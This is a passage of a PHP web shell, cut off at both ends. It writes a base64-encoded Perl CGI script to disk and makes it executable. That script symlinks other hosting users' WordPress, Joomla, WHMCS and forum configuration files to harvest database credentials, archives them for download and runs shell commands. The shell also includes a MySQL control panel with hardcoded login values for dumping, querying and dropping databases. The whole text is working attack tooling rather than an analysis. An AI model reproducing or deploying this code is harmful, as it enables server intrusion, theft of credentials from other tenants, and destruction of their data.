$configshell = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
$file = fopen("config.izo" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
chmod("config.izo",0755);
echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
</div>";
}
/////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'ms'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=ms" method="post">
<?php
$PASSWORD = "tryag_vb";
$USERNAME = "102030";
if ( function_exists('ini_get') ) {
$onoff = ini_get('register_globals');
} else {
$onoff = get_cfg_var('register_globals');
}
if ($onoff != 1) {
@extract($HTTP_SERVER_VARS, EXTR_SKIP);
@extract($HTTP_COOKIE_VARS, EXTR_SKIP);
@extract($HTTP_POST_FILES, EXTR_SKIP);
@extract($HTTP_POST_VARS, EXTR_SKIP);
@extract($HTTP_GET_VARS, EXTR_SKIP);
@extract($HTTP_ENV_VARS, EXTR_SKIP);
}
function logon() {
global $PHP_SELF;
setcookie( "mysql_web_admin_username" );
setcookie( "mysql_web_admin_password" );
setcookie( "mysql_web_admin_hostname" );
echo "<center/><br/><b><font color=#00ff00>+--==[ Mysql Interface ]==--+</font></b><br><br>
";
echo "<table class=tabnet cellpadding=2><tr><td><center>
";
echo "
";
echo "
";
echo "<form action='$PHP_SELF'>
";
echo "<input type=hidden name=action value=bG9nb25fc3VibWl0>
";
echo "<table class=tabnet cellpadding=5 cellspacing=1 style='width:300px;'>
";
echo "<th colspan='2'>MySQL Interface</th>";
echo "<tr><td>Hostname </td><td> <input class='inputz' style='width:229px;' type=text name=hostname value='localhost'></td></tr>
";
echo "<tr><td>Username </td><td> <input class='inputz' style='width:229px;' type=text name=username></td></tr>
";
echo "<tr><td>Password </td><td> <input class='inputz' style='width:229px;' type=password name=password></td></tr>
";
echo "</table><p>
";
echo "<input class='inputzbut' type=submit value='Enter'>
";
echo "<input class='inputzbut' type=reset value='Clear'><br>
";
echo "</form>
";
echo "
";
echo "</center></td></tr></table>
";
echo "
";
echo "
";
}
function logon_submit() {
global $username, $password, $hostname ,$PHP_SELF;
if($hostname =='')
$hostname = 'localhost';
setcookie( "mysql_web_admin_username", $username );
setcookie( "mysql_web_admin_password", $password );
setcookie( "mysql_web_admin_hostname", $hostname );
echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=bGlzdERCcw=='>";
}
function echoQueryResult() {
global $queryStr, $errMsg;
if( $errMsg == "" ) $errMsg = "Success";
if( $queryStr != "" ) {
echo "<table class=tabnet cellpadding=5>
";
echo "<tr><td>Query</td><td>$queryStr</td></tr>
";
echo "<tr><td>Result</td><td>$errMsg</td></tr>
";
echo "</table><p>
";
}
}
function listDatabases() {
global $mysqlHandle, $PHP_SELF;
echo "<h1>Databases List</h1>
";
echo "<form action='$PHP_SELF'>
";
echo "<input type=hidden name=action value=createDB>
";
echo "<input type=text name=dbname>
";
echo "<input type=submit value='Create Database'>
";
echo "</form>
";
echo "<hr>
";
echo "<table class=tabnet cellspacing=1 cellpadding=5>
";
$pDB = mysql_list_dbs( $mysqlHandle );
$num = mysql_num_rows( $pDB );
for( $i = 0; $i < $num; $i++ ) {
$dbname = mysql_dbname( $pDB, $i );
echo "<tr>
";
echo "<td>$dbname</td>
";
echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Tables</a></td>
";
echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>
";
echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname' onClick=\"return confirm('Dump Database \'$dbname\'?')\">Dump</a></td>
";
echo "</tr>
";
}
echo "</table>
";
}
function createDatabase() {
global $mysqlHandle, $dbname, $PHP_SELF;
mysql_create_db( $dbname, $mysqlHandle );
listDatabases();
}
function dropDatabase() {
global $mysqlHandle, $dbname, $PHP_SELF;
mysql_drop_db( $dbname, $mysqlHandle );
listDatabases();
}
function listTables() {
global $mysqlHandle, $dbname, $PHP_SELF;
echo "<h1>Tables List</h1>
";
echo "<p class=location>$dbname</p>
";
echoQueryResult();
echo "<form action='$PHP_SELF'>
";
echo "<input type=hidden name=action value=createTable>
";
echo "<input type=hidden name=dbname value=$dbname>
";
echo "<input type=text name=tablename>
";
echo "<input type=submit value='Create Table'>
";
echo "</form>
";
echo "<form action='$PHP_SELF'>
";
echo "<input type=hidden name=action value=query>
";
echo "<input type=hidden name=dbname value=$dbname>
";
echo "<input type=text size=120 name=queryStr>
";
echo "<input type=submit value='Query'>
";
echo "</form>
";
echo "<hr>
";
$pTable = mysql_list_tables( $dbname );
if( $pTable == 0 ) {
$msg = mysql_error();
echo "<h3>Error : $msg</h3><p>
";
return;
}
$num = mysql_num_rows( $pTable );
echo "<table cellspacing=1 cellpadding=5>
";
for( $i = 0; $i < $num; $i++ ) {
$tablename = mysql_tablename( $pTable, $i );
echo "<tr>
";
echo "<td>
";
echo "$tablename
";
echo "</td>
";
echo "<td>
";
echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>
";
echo "</td>
";
echo "<td>
";
echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>Data</a>
";
echo "</td>
";
echo "<td>
";
echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Table \'$tablename\'?')\">Drop</a>
";
echo "</td>
";
echo "<td>
";
echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Dump Table \'$tablename\'?')\">Dump</a>
";
echo "</td>
";
echo "</tr>
";
}
echo "</table>";
}
function createTable() {
global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
$queryStr = "CREATE TABLE $tablename ( no INT )";
mysql_select_db( $dbname, $mysqlHandle );
mysql_query( $queryStr, $mysqlHandle );
$errMsg = mysql_error();
listTables();
}
function dropTable() {
global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
$queryStr = "DROP TABLE $tablename";
mysql_select_db( $dbname, $mysqlHandle );
mysql_query( $queryStr, $mysqlHandle );
$errMsg = mysql_error();
listTables();
}
function viewSchema() {
global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg;
echo "<h1>Table Schema</h1>
";
echo "<p class=location>$dbname > $tablename</p>
";
echoQueryResult();
echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> |
";
echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename'>View Data</a>
";
echo "<hr>
";
$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
$num = mysql_num_rows( $pResult );
echo "<table cellspacing=1 cellpadding=5>
";
echo "<tr>
";
echo "<th>Field</th>
";
echo "<th>Type</th>
";
echo "<th>Null</th>
";
echo "<th>Key</th>
";
echo "<th>Default</th>
";
echo "<th>Extra</th>
";
echo "<th colspan=2>Action</th>
";
echo "</tr>
";
for( $i = 0; $i < $num; $i++ ) {
$field = mysql_fetch_array( $pResult );
echo "<tr>
";
echo "<td>".$field["Field"]."</td>
";
echo "<td>".$field["Type"]."</td>
";
echo "<td>".$field["Null"]."</td>
";
echo "<td>".$field["Key"]."</td>
";
echo "<td>".$field["Default"]."</td>
";
echo "<td>".$field["Extra"]."</td>
";
$fieldname = $field["Field"];
echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>
";
echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>
";
echo "</tr>
";
}
echo "</table>
";
}
function manageField( $cmd ) {
global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF;
if( $cmd == "add" )
echo "<h1>Add Field</h1>
";
else if( $cmd == "edit" ) {
echo "<h1>Edit Field</h1>
";
$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
$num = mysql_num_rows( $pResult );
for( $i = 0; $i < $num; $i++ ) {
$field = mysql_fetch_array( $pResult );
if( $field["Field"] == $fieldname ) {
$fieldtype = $field["Type"];
$fieldkey = $field["Key"];
$fieldextra = $field["Extra"];
$fieldnull = $field["Null"];
$fielddefault = $field["Default"];
break;
}
}
$type = strtok( $fieldtype, " (,)
" );
if( strpos( $fieldtype, "(" ) ) {
if( $type == "enum" | $type == "set" ) {
$valuelist = strtok( " ()
" );
} else {
$M = strtok( " (,)
" );
